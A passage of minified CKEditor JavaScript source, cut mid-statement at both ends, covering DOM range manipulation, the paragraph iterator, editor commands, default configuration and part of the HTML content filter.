false;if(l.type==CKEDITOR.NODE_COMMENT)l=l.getPrevious();else{if(l.type==CKEDITOR.NODE_TEXT){j=l.getText();d.test(j)&&(l=null);n=/[\s\ufeff]$/.test(j)}else if((l.$.offsetWidth>(CKEDITOR.env.webkit?1:0)||b&&l.is("br"))&&!l.data("cke-bookmark"))if(r&&CKEDITOR.dtd.$removeEmpty[l.getName()]){j=l.getText();if(d.test(j))l=null;else for(var C=l.$.getElementsByTagName("*"),k=0,F;F=C[k++];)if(!CKEDITOR.dtd.$removeEmpty[F.nodeName.toLowerCase()]){l=null;break}l&&(n=!!j.length)}else l=null;n&&(r?p?h=o:o&&this.setStartBefore(o):
r=true);if(l){n=l.getPrevious();if(!o&&!n){o=l;l=null;break}l=n}else o=null}}o&&(o=c(o.getParent()))}n=this.endContainer;C=this.endOffset;o=l=null;p=r=false;var K=function(a,b){var c=new CKEDITOR.dom.range(i);c.setStart(a,b);c.setEndAt(i,CKEDITOR.POSITION_BEFORE_END);var c=new CKEDITOR.dom.walker(c),e;for(c.guard=function(a){return!(a.type==CKEDITOR.NODE_ELEMENT&&a.isBlockBoundary())};e=c.next();){if(e.type!=CKEDITOR.NODE_TEXT)return false;j=e!=a?e.getText():e.substring(b);if(d.test(j))return false}return true};
if(n.type==CKEDITOR.NODE_TEXT)if(CKEDITOR.tools.trim(n.substring(C)).length)r=true;else{r=!n.getLength();if(C==n.getLength()){if(!(l=n.getNext()))o=n.getParent()}else K(n,C)&&(o=n.getParent())}else(l=n.getChild(C))||(o=n);for(;o||l;){if(o&&!l){!p&&o.equals(f)&&(p=true);if(e?o.isBlockBoundary():!i.contains(o))break;if(!r||o.getComputedStyle("display")!="inline"){r=false;p?g=o:o&&this.setEndAfter(o)}l=o.getNext()}for(;l;){n=false;if(l.type==CKEDITOR.NODE_TEXT){j=l.getText();K(l,0)||(l=null);n=/^[\s\ufeff]/.test(j)}else if(l.type==
CKEDITOR.NODE_ELEMENT){if((l.$.offsetWidth>0||b&&l.is("br"))&&!l.data("cke-bookmark"))if(r&&CKEDITOR.dtd.$removeEmpty[l.getName()]){j=l.getText();if(d.test(j))l=null;else{C=l.$.getElementsByTagName("*");for(k=0;F=C[k++];)if(!CKEDITOR.dtd.$removeEmpty[F.nodeName.toLowerCase()]){l=null;break}}l&&(n=!!j.length)}else l=null}else n=1;n&&r&&(p?g=o:this.setEndAfter(o));if(l){n=l.getNext();if(!o&&!n){o=l;l=null;break}l=n}else o=null}o&&(o=c(o.getParent()))}if(h&&g){f=h.contains(g)?g:h;this.setStartBefore(f);
this.setEndAfter(f)}break;case CKEDITOR.ENLARGE_BLOCK_CONTENTS:case CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:o=new CKEDITOR.dom.range(this.root);i=this.root;o.setStartAt(i,CKEDITOR.POSITION_AFTER_START);o.setEnd(this.startContainer,this.startOffset);o=new CKEDITOR.dom.walker(o);var I,v,G=CKEDITOR.dom.walker.blockBoundary(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?{br:1}:null),z=null,B=function(a){if(a.type==CKEDITOR.NODE_ELEMENT&&a.getAttribute("contenteditable")=="false")if(z){if(z.equals(a)){z=null;return}}else z=
a;else if(z)return;var b=G(a);b||(I=a);return b},e=function(a){var b=B(a);!b&&(a.is&&a.is("br"))&&(v=a);return b};o.guard=B;o=o.lastBackward();I=I||i;this.setStartAt(I,!I.is("br")&&(!o&&this.checkStartOfBlock()||o&&I.contains(o))?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_AFTER_END);if(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS){o=this.clone();o=new CKEDITOR.dom.walker(o);var x=CKEDITOR.dom.walker.whitespaces(),E=CKEDITOR.dom.walker.bookmark();o.evaluator=function(a){return!x(a)&&!E(a)};if((o=o.previous())&&
o.type==CKEDITOR.NODE_ELEMENT&&o.is("br"))break}o=this.clone();o.collapse();o.setEndAt(i,CKEDITOR.POSITION_BEFORE_END);o=new CKEDITOR.dom.walker(o);o.guard=a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?e:B;I=z=v=null;o=o.lastForward();I=I||i;this.setEndAt(I,!o&&this.checkEndOfBlock()||o&&I.contains(o)?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_BEFORE_START);v&&this.setEndAfter(v)}},shrink:function(a,b,c){if(!this.collapsed){var a=a||CKEDITOR.SHRINK_TEXT,d=this.clone(),e=this.startContainer,f=this.endContainer,
i=this.startOffset,h=this.endOffset,g=1,o=1;if(e&&e.type==CKEDITOR.NODE_TEXT)if(i)if(i>=e.getLength())d.setStartAfter(e);else{d.setStartBefore(e);g=0}else d.setStartBefore(e);if(f&&f.type==CKEDITOR.NODE_TEXT)if(h)if(h>=f.getLength())d.setEndAfter(f);else{d.setEndAfter(f);o=0}else d.setEndBefore(f);var d=new CKEDITOR.dom.walker(d),l=CKEDITOR.dom.walker.bookmark();d.evaluator=function(b){return b.type==(a==CKEDITOR.SHRINK_ELEMENT?CKEDITOR.NODE_ELEMENT:CKEDITOR.NODE_TEXT)};var p;d.guard=function(b,d){if(l(b))return true;
if(a==CKEDITOR.SHRINK_ELEMENT&&b.type==CKEDITOR.NODE_TEXT||d&&b.equals(p)||c===false&&b.type==CKEDITOR.NODE_ELEMENT&&b.isBlockBoundary()||b.type==CKEDITOR.NODE_ELEMENT&&b.hasAttribute("contenteditable"))return false;!d&&b.type==CKEDITOR.NODE_ELEMENT&&(p=b);return true};if(g)(e=d[a==CKEDITOR.SHRINK_ELEMENT?"lastForward":"next"]())&&this.setStartAt(e,b?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_START);if(o){d.reset();(d=d[a==CKEDITOR.SHRINK_ELEMENT?"lastBackward":"previous"]())&&this.setEndAt(d,
b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_END)}return!(!g&&!o)}},insertNode:function(a){this.optimizeBookmark();this.trim(false,true);var b=this.startContainer,c=b.getChild(this.startOffset);c?a.insertBefore(c):b.append(a);a.getParent()&&a.getParent().equals(this.endContainer)&&this.endOffset++;this.setStartBefore(a)},moveToPosition:function(a,b){this.setStartAt(a,b);this.collapse(true)},moveToRange:function(a){this.setStart(a.startContainer,a.startOffset);this.setEnd(a.endContainer,
a.endOffset)},selectNodeContents:function(a){this.setStart(a,0);this.setEnd(a,a.type==CKEDITOR.NODE_TEXT?a.getLength():a.getChildCount())},setStart:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[a.getName()]){b=a.getIndex();a=a.getParent()}this._setStartContainer(a);this.startOffset=b;if(!this.endContainer){this._setEndContainer(a);this.endOffset=b}c(this)},setEnd:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[a.getName()]){b=a.getIndex()+1;a=a.getParent()}this._setEndContainer(a);
this.endOffset=b;if(!this.startContainer){this._setStartContainer(a);this.startOffset=b}c(this)},setStartAfter:function(a){this.setStart(a.getParent(),a.getIndex()+1)},setStartBefore:function(a){this.setStart(a.getParent(),a.getIndex())},setEndAfter:function(a){this.setEnd(a.getParent(),a.getIndex()+1)},setEndBefore:function(a){this.setEnd(a.getParent(),a.getIndex())},setStartAt:function(a,b){switch(b){case CKEDITOR.POSITION_AFTER_START:this.setStart(a,0);break;case CKEDITOR.POSITION_BEFORE_END:a.type==
CKEDITOR.NODE_TEXT?this.setStart(a,a.getLength()):this.setStart(a,a.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setStartBefore(a);break;case CKEDITOR.POSITION_AFTER_END:this.setStartAfter(a)}c(this)},setEndAt:function(a,b){switch(b){case CKEDITOR.POSITION_AFTER_START:this.setEnd(a,0);break;case CKEDITOR.POSITION_BEFORE_END:a.type==CKEDITOR.NODE_TEXT?this.setEnd(a,a.getLength()):this.setEnd(a,a.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setEndBefore(a);break;
case CKEDITOR.POSITION_AFTER_END:this.setEndAfter(a)}c(this)},fixBlock:function(a,b){var c=this.createBookmark(),d=this.document.createElement(b);this.collapse(a);this.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS);this.extractContents().appendTo(d);d.trim();d.appendBogus();this.insertNode(d);this.moveToBookmark(c);return d},splitBlock:function(a){var b=new CKEDITOR.dom.elementPath(this.startContainer,this.root),c=new CKEDITOR.dom.elementPath(this.endContainer,this.root),d=b.block,e=c.block,f=null;if(!b.blockLimit.equals(c.blockLimit))return null;
if(a!="br"){if(!d){d=this.fixBlock(true,a);e=(new CKEDITOR.dom.elementPath(this.endContainer,this.root)).block}e||(e=this.fixBlock(false,a))}a=d&&this.checkStartOfBlock();b=e&&this.checkEndOfBlock();this.deleteContents();if(d&&d.equals(e))if(b){f=new CKEDITOR.dom.elementPath(this.startContainer,this.root);this.moveToPosition(e,CKEDITOR.POSITION_AFTER_END);e=null}else if(a){f=new CKEDITOR.dom.elementPath(this.startContainer,this.root);this.moveToPosition(d,CKEDITOR.POSITION_BEFORE_START);d=null}else{e=
this.splitElement(d);d.is("ul","ol")||d.appendBogus()}return{previousBlock:d,nextBlock:e,wasStartOfBlock:a,wasEndOfBlock:b,elementPath:f}},splitElement:function(a){if(!this.collapsed)return null;this.setEndAt(a,CKEDITOR.POSITION_BEFORE_END);var b=this.extractContents(),c=a.clone(false);b.appendTo(c);c.insertAfter(a);this.moveToPosition(a,CKEDITOR.POSITION_AFTER_END);return c},removeEmptyBlocksAtEnd:function(){function a(d){return function(a){return b(a)||(c(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.isEmptyInlineRemoveable())||
d.is("table")&&a.is("caption")?false:true}}var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(false);return function(b){for(var c=this.createBookmark(),d=this[b?"endPath":"startPath"](),e=d.block||d.blockLimit,f;e&&!e.equals(d.root)&&!e.getFirst(a(e));){f=e.getParent();this[b?"setEndAt":"setStartAt"](e,CKEDITOR.POSITION_AFTER_END);e.remove(1);e=f}this.moveToBookmark(c)}}(),startPath:function(){return new CKEDITOR.dom.elementPath(this.startContainer,this.root)},endPath:function(){return new CKEDITOR.dom.elementPath(this.endContainer,
this.root)},checkBoundaryOfElement:function(a,b){var c=b==CKEDITOR.START,d=this.clone();d.collapse(c);d[c?"setStartAt":"setEndAt"](a,c?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END);d=new CKEDITOR.dom.walker(d);d.evaluator=f(c);return d[c?"checkBackward":"checkForward"]()},checkStartOfBlock:function(){var b=this.startContainer,c=this.startOffset;if(CKEDITOR.env.ie&&c&&b.type==CKEDITOR.NODE_TEXT){b=CKEDITOR.tools.ltrim(b.substring(0,c));k.test(b)&&this.trim(0,1)}this.trim();b=new CKEDITOR.dom.elementPath(this.startContainer,
this.root);c=this.clone();c.collapse(true);c.setStartAt(b.block||b.blockLimit,CKEDITOR.POSITION_AFTER_START);b=new CKEDITOR.dom.walker(c);b.evaluator=a();return b.checkBackward()},checkEndOfBlock:function(){var b=this.endContainer,c=this.endOffset;if(CKEDITOR.env.ie&&b.type==CKEDITOR.NODE_TEXT){b=CKEDITOR.tools.rtrim(b.substring(c));k.test(b)&&this.trim(1,0)}this.trim();b=new CKEDITOR.dom.elementPath(this.endContainer,this.root);c=this.clone();c.collapse(false);c.setEndAt(b.block||b.blockLimit,CKEDITOR.POSITION_BEFORE_END);
b=new CKEDITOR.dom.walker(c);b.evaluator=a();return b.checkForward()},getPreviousNode:function(a,b,c){var d=this.clone();d.collapse(1);d.setStartAt(c||this.root,CKEDITOR.POSITION_AFTER_START);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.previous()},getNextNode:function(a,b,c){var d=this.clone();d.collapse();d.setEndAt(c||this.root,CKEDITOR.POSITION_BEFORE_END);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.next()},checkReadOnly:function(){function a(b,c){for(;b;){if(b.type==
CKEDITOR.NODE_ELEMENT){if(b.getAttribute("contentEditable")=="false"&&!b.data("cke-editable"))return 0;if(b.is("html")||b.getAttribute("contentEditable")=="true"&&(b.contains(c)||b.equals(c)))break}b=b.getParent()}return 1}return function(){var b=this.startContainer,c=this.endContainer;return!(a(b,c)&&a(c,b))}}(),moveToElementEditablePosition:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&!a.isEditable(false)){this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START);return true}for(var c=
0;a;){if(a.type==CKEDITOR.NODE_TEXT){b&&this.endContainer&&this.checkEndOfBlock()&&k.test(a.getText())?this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START):this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START);c=1;break}if(a.type==CKEDITOR.NODE_ELEMENT)if(a.isEditable()){this.moveToPosition(a,b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_START);c=1}else if(b&&a.is("br")&&this.endContainer&&this.checkEndOfBlock())this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START);
else if(a.getAttribute("contenteditable")=="false"&&a.is(CKEDITOR.dtd.$block)){this.setStartBefore(a);this.setEndAfter(a);return true}var d=a,e=c,f=void 0;d.type==CKEDITOR.NODE_ELEMENT&&d.isEditable(false)&&(f=d[b?"getLast":"getFirst"](g));!e&&!f&&(f=d[b?"getPrevious":"getNext"](g));a=f}return!!c},moveToClosestEditablePosition:function(a,b){var c=new CKEDITOR.dom.range(this.root),d=0,e,f=[CKEDITOR.POSITION_AFTER_END,CKEDITOR.POSITION_BEFORE_START];c.moveToPosition(a,f[b?0:1]);if(a.is(CKEDITOR.dtd.$block)){if(e=
c[b?"getNextEditableNode":"getPreviousEditableNode"]()){d=1;if(e.type==CKEDITOR.NODE_ELEMENT&&e.is(CKEDITOR.dtd.$block)&&e.getAttribute("contenteditable")=="false"){c.setStartAt(e,CKEDITOR.POSITION_BEFORE_START);c.setEndAt(e,CKEDITOR.POSITION_AFTER_END)}else c.moveToPosition(e,f[b?1:0])}}else d=1;d&&this.moveToRange(c);return!!d},moveToElementEditStart:function(a){return this.moveToElementEditablePosition(a)},moveToElementEditEnd:function(a){return this.moveToElementEditablePosition(a,true)},getEnclosedNode:function(){var a=
this.clone();a.optimize();if(a.startContainer.type!=CKEDITOR.NODE_ELEMENT||a.endContainer.type!=CKEDITOR.NODE_ELEMENT)return null;var a=new CKEDITOR.dom.walker(a),b=CKEDITOR.dom.walker.bookmark(false,true),c=CKEDITOR.dom.walker.whitespaces(true);a.evaluator=function(a){return c(a)&&b(a)};var d=a.next();a.reset();return d&&d.equals(a.previous())?d:null},getTouchedStartNode:function(){var a=this.startContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.startOffset)||a},getTouchedEndNode:function(){var a=
this.endContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.endOffset-1)||a},getNextEditableNode:b(),getPreviousEditableNode:b(1),scrollIntoView:function(){var a=new CKEDITOR.dom.element.createFromHtml("<span>&nbsp;</span>",this.document),b,c,d,e=this.clone();e.optimize();if(d=e.startContainer.type==CKEDITOR.NODE_TEXT){c=e.startContainer.getText();b=e.startContainer.split(e.startOffset);a.insertAfter(e.startContainer)}else e.insertNode(a);a.scrollIntoView();if(d){e.startContainer.setText(c);
b.remove()}a.remove()},_setStartContainer:function(a){this.startContainer=a},_setEndContainer:function(a){this.endContainer=a}}})();CKEDITOR.POSITION_AFTER_START=1;CKEDITOR.POSITION_BEFORE_END=2;CKEDITOR.POSITION_BEFORE_START=3;CKEDITOR.POSITION_AFTER_END=4;CKEDITOR.ENLARGE_ELEMENT=1;CKEDITOR.ENLARGE_BLOCK_CONTENTS=2;CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS=3;CKEDITOR.ENLARGE_INLINE=4;CKEDITOR.START=1;CKEDITOR.END=2;CKEDITOR.SHRINK_ELEMENT=1;CKEDITOR.SHRINK_TEXT=2;"use strict";
(function(){function a(a){if(!(arguments.length<1)){this.range=a;this.forceBrBreak=0;this.enlargeBr=1;this.enforceRealBlocks=0;this._||(this._={})}}function f(a){var b=[];a.forEach(function(a){if(a.getAttribute("contenteditable")=="true"){b.push(a);return false}},CKEDITOR.NODE_ELEMENT,true);return b}function b(a,c,d,e){a:{e==null&&(e=f(d));for(var h;h=e.shift();)if(h.getDtd().p){e={element:h,remaining:e};break a}e=null}if(!e)return 0;if((h=CKEDITOR.filter.instances[e.element.data("cke-filter")])&&
!h.check(c))return b(a,c,d,e.remaining);c=new CKEDITOR.dom.range(e.element);c.selectNodeContents(e.element);c=c.createIterator();c.enlargeBr=a.enlargeBr;c.enforceRealBlocks=a.enforceRealBlocks;c.activeFilter=c.filter=h;a._.nestedEditable={element:e.element,container:d,remaining:e.remaining,iterator:c};return 1}function c(a,b,c){if(!b)return false;a=a.clone();a.collapse(!c);return a.checkBoundaryOfElement(b,c?CKEDITOR.START:CKEDITOR.END)}var e=/^[\r\n\t ]+$/,d=CKEDITOR.dom.walker.bookmark(false,true),
h=CKEDITOR.dom.walker.whitespaces(true),k=function(a){return d(a)&&h(a)},j={dd:1,dt:1,li:1};a.prototype={getNextParagraph:function(a){var f,h,s,w,q,a=a||"p";if(this._.nestedEditable){if(f=this._.nestedEditable.iterator.getNextParagraph(a)){this.activeFilter=this._.nestedEditable.iterator.activeFilter;return f}this.activeFilter=this.filter;if(b(this,a,this._.nestedEditable.container,this._.nestedEditable.remaining)){this.activeFilter=this._.nestedEditable.iterator.activeFilter;return this._.nestedEditable.iterator.getNextParagraph(a)}this._.nestedEditable=
null}if(!this.range.root.getDtd()[a])return null;if(!this._.started){var t=this.range.clone();h=t.startPath();var i=t.endPath(),A=!t.collapsed&&c(t,h.block),u=!t.collapsed&&c(t,i.block,1);t.shrink(CKEDITOR.SHRINK_ELEMENT,true);A&&t.setStartAt(h.block,CKEDITOR.POSITION_BEFORE_END);u&&t.setEndAt(i.block,CKEDITOR.POSITION_AFTER_START);h=t.endContainer.hasAscendant("pre",true)||t.startContainer.hasAscendant("pre",true);t.enlarge(this.forceBrBreak&&!h||!this.enlargeBr?CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:
CKEDITOR.ENLARGE_BLOCK_CONTENTS);if(!t.collapsed){h=new CKEDITOR.dom.walker(t.clone());i=CKEDITOR.dom.walker.bookmark(true,true);h.evaluator=i;this._.nextNode=h.next();h=new CKEDITOR.dom.walker(t.clone());h.evaluator=i;h=h.previous();this._.lastNode=h.getNextSourceNode(true,null,t.root);if(this._.lastNode&&this._.lastNode.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(this._.lastNode.getText())&&this._.lastNode.getParent().isBlockBoundary()){i=this.range.clone();i.moveToPosition(this._.lastNode,CKEDITOR.POSITION_AFTER_END);
if(i.checkEndOfBlock()){i=new CKEDITOR.dom.elementPath(i.endContainer,i.root);this._.lastNode=(i.block||i.blockLimit).getNextSourceNode(true)}}if(!this._.lastNode||!t.root.contains(this._.lastNode)){this._.lastNode=this._.docEndMarker=t.document.createText("");this._.lastNode.insertAfter(h)}t=null}this._.started=1;h=t}i=this._.nextNode;t=this._.lastNode;for(this._.nextNode=null;i;){var A=0,u=i.hasAscendant("pre"),o=i.type!=CKEDITOR.NODE_ELEMENT,l=0;if(o)i.type==CKEDITOR.NODE_TEXT&&e.test(i.getText())&&
(o=0);else{var p=i.getName();if(CKEDITOR.dtd.$block[p]&&i.getAttribute("contenteditable")=="false"){f=i;b(this,a,f);break}else if(i.isBlockBoundary(this.forceBrBreak&&!u&&{br:1})){if(p=="br")o=1;else if(!h&&!i.getChildCount()&&p!="hr"){f=i;s=i.equals(t);break}if(h){h.setEndAt(i,CKEDITOR.POSITION_BEFORE_START);if(p!="br")this._.nextNode=i}A=1}else{if(i.getFirst()){if(!h){h=this.range.clone();h.setStartAt(i,CKEDITOR.POSITION_BEFORE_START)}i=i.getFirst();continue}o=1}}if(o&&!h){h=this.range.clone();
h.setStartAt(i,CKEDITOR.POSITION_BEFORE_START)}s=(!A||o)&&i.equals(t);if(h&&!A)for(;!i.getNext(k)&&!s;){p=i.getParent();if(p.isBlockBoundary(this.forceBrBreak&&!u&&{br:1})){A=1;o=0;s||p.equals(t);h.setEndAt(p,CKEDITOR.POSITION_BEFORE_END);break}i=p;o=1;s=i.equals(t);l=1}o&&h.setEndAt(i,CKEDITOR.POSITION_AFTER_END);i=this._getNextSourceNode(i,l,t);if((s=!i)||A&&h)break}if(!f){if(!h){this._.docEndMarker&&this._.docEndMarker.remove();return this._.nextNode=null}f=new CKEDITOR.dom.elementPath(h.startContainer,
h.root);i=f.blockLimit;A={div:1,th:1,td:1};f=f.block;if(!f&&i&&!this.enforceRealBlocks&&A[i.getName()]&&h.checkStartOfBlock()&&h.checkEndOfBlock()&&!i.equals(h.root))f=i;else if(!f||this.enforceRealBlocks&&f.is(j)){f=this.range.document.createElement(a);h.extractContents().appendTo(f);f.trim();h.insertNode(f);w=q=true}else if(f.getName()!="li"){if(!h.checkStartOfBlock()||!h.checkEndOfBlock()){f=f.clone(false);h.extractContents().appendTo(f);f.trim();q=h.splitBlock();w=!q.wasStartOfBlock;q=!q.wasEndOfBlock;
h.insertNode(f)}}else if(!s)this._.nextNode=f.equals(t)?null:this._getNextSourceNode(h.getBoundaryNodes().endNode,1,t)}if(w)(w=f.getPrevious())&&w.type==CKEDITOR.NODE_ELEMENT&&(w.getName()=="br"?w.remove():w.getLast()&&w.getLast().$.nodeName.toLowerCase()=="br"&&w.getLast().remove());if(q)(w=f.getLast())&&w.type==CKEDITOR.NODE_ELEMENT&&w.getName()=="br"&&(!CKEDITOR.env.needsBrFiller||w.getPrevious(d)||w.getNext(d))&&w.remove();if(!this._.nextNode)this._.nextNode=s||f.equals(t)||!t?null:this._getNextSourceNode(f,
1,t);return f},_getNextSourceNode:function(a,b,c){function e(a){return!(a.equals(c)||a.equals(f))}for(var f=this.range.root,a=a.getNextSourceNode(b,null,e);!d(a);)a=a.getNextSourceNode(b,null,e);return a}};CKEDITOR.dom.range.prototype.createIterator=function(){return new a(this)}})();
CKEDITOR.command=function(a,f){this.uiItems=[];this.exec=function(b){if(this.state==CKEDITOR.TRISTATE_DISABLED||!this.checkAllowed())return false;this.editorFocus&&a.focus();return this.fire("exec")===false?true:f.exec.call(this,a,b)!==false};this.refresh=function(a,b){if(!this.readOnly&&a.readOnly)return true;if(this.context&&!b.isContextFor(this.context)){this.disable();return true}if(!this.checkAllowed(true)){this.disable();return true}this.startDisabled||this.enable();this.modes&&!this.modes[a.mode]&&
this.disable();return this.fire("refresh",{editor:a,path:b})===false?true:f.refresh&&f.refresh.apply(this,arguments)!==false};var b;this.checkAllowed=function(c){return!c&&typeof b=="boolean"?b:b=a.activeFilter.checkFeature(this)};CKEDITOR.tools.extend(this,f,{modes:{wysiwyg:1},editorFocus:1,contextSensitive:!!f.context,state:CKEDITOR.TRISTATE_DISABLED});CKEDITOR.event.call(this)};
CKEDITOR.command.prototype={enable:function(){this.state==CKEDITOR.TRISTATE_DISABLED&&this.checkAllowed()&&this.setState(!this.preserveState||typeof this.previousState=="undefined"?CKEDITOR.TRISTATE_OFF:this.previousState)},disable:function(){this.setState(CKEDITOR.TRISTATE_DISABLED)},setState:function(a){if(this.state==a||a!=CKEDITOR.TRISTATE_DISABLED&&!this.checkAllowed())return false;this.previousState=this.state;this.state=a;this.fire("state");return true},toggleState:function(){this.state==CKEDITOR.TRISTATE_OFF?
this.setState(CKEDITOR.TRISTATE_ON):this.state==CKEDITOR.TRISTATE_ON&&this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.event.implementOn(CKEDITOR.command.prototype);CKEDITOR.ENTER_P=1;CKEDITOR.ENTER_BR=2;CKEDITOR.ENTER_DIV=3;
CKEDITOR.config={customConfig:"config.js",autoUpdateElement:!0,language:"",defaultLanguage:"en",contentsLangDirection:"",enterMode:CKEDITOR.ENTER_P,forceEnterMode:!1,shiftEnterMode:CKEDITOR.ENTER_BR,docType:"<!DOCTYPE html>",bodyId:"",bodyClass:"",fullPage:!1,height:200,extraPlugins:"",removePlugins:"",protectedSource:[],tabIndex:0,width:"",baseFloatZIndex:1E4,blockedKeystrokes:[CKEDITOR.CTRL+66,CKEDITOR.CTRL+73,CKEDITOR.CTRL+85]};
(function(){function a(a,b,c,d,e){var f,p,a=[];for(f in b){p=b[f];p=typeof p=="boolean"?{}:typeof p=="function"?{match:p}:K(p);if(f.charAt(0)!="$")p.elements=f;if(c)p.featureName=c.toLowerCase();var i=p;i.elements=h(i.elements,/\s+/)||null;i.propertiesOnly=i.propertiesOnly||i.elements===true;var l=/\s*,\s*/,r=void 0;for(r in z){i[r]=h(i[r],l)||null;var x=i,n=B[r],v=h(i[B[r]],l),q=i[r],E=[],g=true,o=void 0;v?g=false:v={};for(o in q)if(o.charAt(0)=="!"){o=o.slice(1);E.push(o);v[o]=true;g=false}for(;o=
E.pop();){q[o]=q["!"+o];delete q["!"+o]}x[n]=(g?false:v)||null}i.match=i.match||null;d.push(p);a.push(p)}for(var b=e.elements,e=e.generic,C,c=0,d=a.length;c<d;++c){f=K(a[c]);p=f.classes===true||f.styles===true||f.attributes===true;i=f;r=n=l=void 0;for(l in z)i[l]=A(i[l]);x=true;for(r in B){l=B[r];n=i[l];v=[];q=void 0;for(q in n)q.indexOf("*")>-1?v.push(RegExp("^"+q.replace(/\*/g,".*")+"$")):v.push(q);n=v;if(n.length){i[l]=n;x=false}}i.nothingRequired=x;i.noProperties=!(i.attributes||i.classes||i.styles);
if(f.elements===true||f.elements===null)e[p?"unshift":"push"](f);else{i=f.elements;delete f.elements;for(C in i)if(b[C])b[C][p?"unshift":"push"](f);else b[C]=[f]}}}function f(a,c,d,e){if(!a.match||a.match(c))if(e||k(a,c)){if(!a.propertiesOnly)d.valid=true;if(!d.allAttributes)d.allAttributes=b(a.attributes,c.attributes,d.validAttributes);if(!d.allStyles)d.allStyles=b(a.styles,c.styles,d.validStyles);if(!d.allClasses){a=a.classes;c=c.classes;e=d.validClasses;if(a)if(a===true)a=true;else{for(var f=0,
p=c.length,i;f<p;++f){i=c[f];e[i]||(e[i]=a(i))}a=false}else a=false;d.allClasses=a}}}function b(a,b,c){if(!a)return false;if(a===true)return true;for(var d in b)c[d]||(c[d]=a(d));return false}function c(a,b,c){if(!a.match||a.match(b)){if(a.noProperties)return false;c.hadInvalidAttribute=e(a.attributes,b.attributes)||c.hadInvalidAttribute;c.hadInvalidStyle=e(a.styles,b.styles)||c.hadInvalidStyle;a=a.classes;b=b.classes;if(a){for(var d=false,f=a===true,p=b.length;p--;)if(f||a(b[p])){b.splice(p,1);d=
true}a=d}else a=false;c.hadInvalidClass=a||c.hadInvalidClass}}function e(a,b){if(!a)return false;var c=false,d=a===true,e;for(e in b)if(d||a(e)){delete b[e];c=true}return c}function d(a,b,c){if(a.disabled||a.customConfig&&!c||!b)return false;a._.cachedChecks={};return true}function h(a,b){if(!a)return false;if(a===true)return a;if(typeof a=="string"){a=I(a);return a=="*"?true:CKEDITOR.tools.convertArrayToObject(a.split(b))}if(CKEDITOR.tools.isArray(a))return a.length?CKEDITOR.tools.convertArrayToObject(a):
false;var c={},d=0,e;for(e in a){c[e]=a[e];d++}return d?c:false}function k(a,b){if(a.nothingRequired)return true;var c,d,e,f;if(e=a.requiredClasses){f=b.classes;for(c=0;c<e.length;++c){d=e[c];if(typeof d=="string"){if(CKEDITOR.tools.indexOf(f,d)==-1)return false}else if(!CKEDITOR.tools.checkIfAnyArrayItemMatches(f,d))return false}}return j(b.styles,a.requiredStyles)&&j(b.attributes,a.requiredAttributes)}function j(a,b){if(!b)return true;for(var c=0,d;c<b.length;++c){d=b[c];if(typeof d=="string"){if(!(d in
a))return false}else if(!CKEDITOR.tools.checkIfAnyObjectPropertyMatches(a,d))return false}return true}function g(a){if(!a)return{};for(var a=a.split(/\s*,\s*/).sort(),b={};a.length;)b[a.shift()]=v;return b}function m(a){for(var b,c,d,e,f={},p=1,a=I(a);b=a.match(x);){if(c=b[2]){d=y(c,"styles");e=y(c,"attrs");c=y(c,"classes")}else d=e=c=null;f["$"+p++]={elements:b[1],classes:c,styles:d,attributes:e};a=a.slice(b[0].length)}return f}function y(a,b){var c=a.match(E[b]);return c?I(c[1]):null}function s(a){var b=
a.styleBackup=a.attributes.style,c=a.classBackup=a.attributes["class"];if(!a.styles)a.styles=CKEDITOR.tools.parseCssText(b||"",1);if(!a.classes)a.classes=c?c.split(/\s+/):[]}function w(a,b,d,e){var l=0,r;if(e.toHtml)b.name=b.name.replace($,"$1");if(e.doCallbacks&&a.elementCallbacks){a:for(var x=a.elementCallbacks,h=0,n=x.length,v;h<n;++h)if(v=x[h](b)){r=v;break a}if(r)return r}if(e.doTransform)if(r=a._.transformations[b.name]){s(b);for(x=0;x<r.length;++x)p(a,b,r[x]);t(b)}if(e.doFilter){a:{x=b.name;
h=a._;a=h.allowedRules.elements[x];r=h.allowedRules.generic;x=h.disallowedRules.elements[x];h=h.disallowedRules.generic;n=e.skipRequired;v={valid:false,validAttributes:{},validClasses:{},validStyles:{},allAttributes:false,allClasses:false,allStyles:false,hadInvalidAttribute:false,hadInvalidClass:false,hadInvalidStyle:false};var q,z;if(!a&&!r)a=null;else{s(b);if(x){q=0;for(z=x.length;q<z;++q)if(c(x[q],b,v)===false){a=null;break a}}if(h){q=0;for(z=h.length;q<z;++q)c(h[q],b,v)}if(a){q=0;for(z=a.length;q<
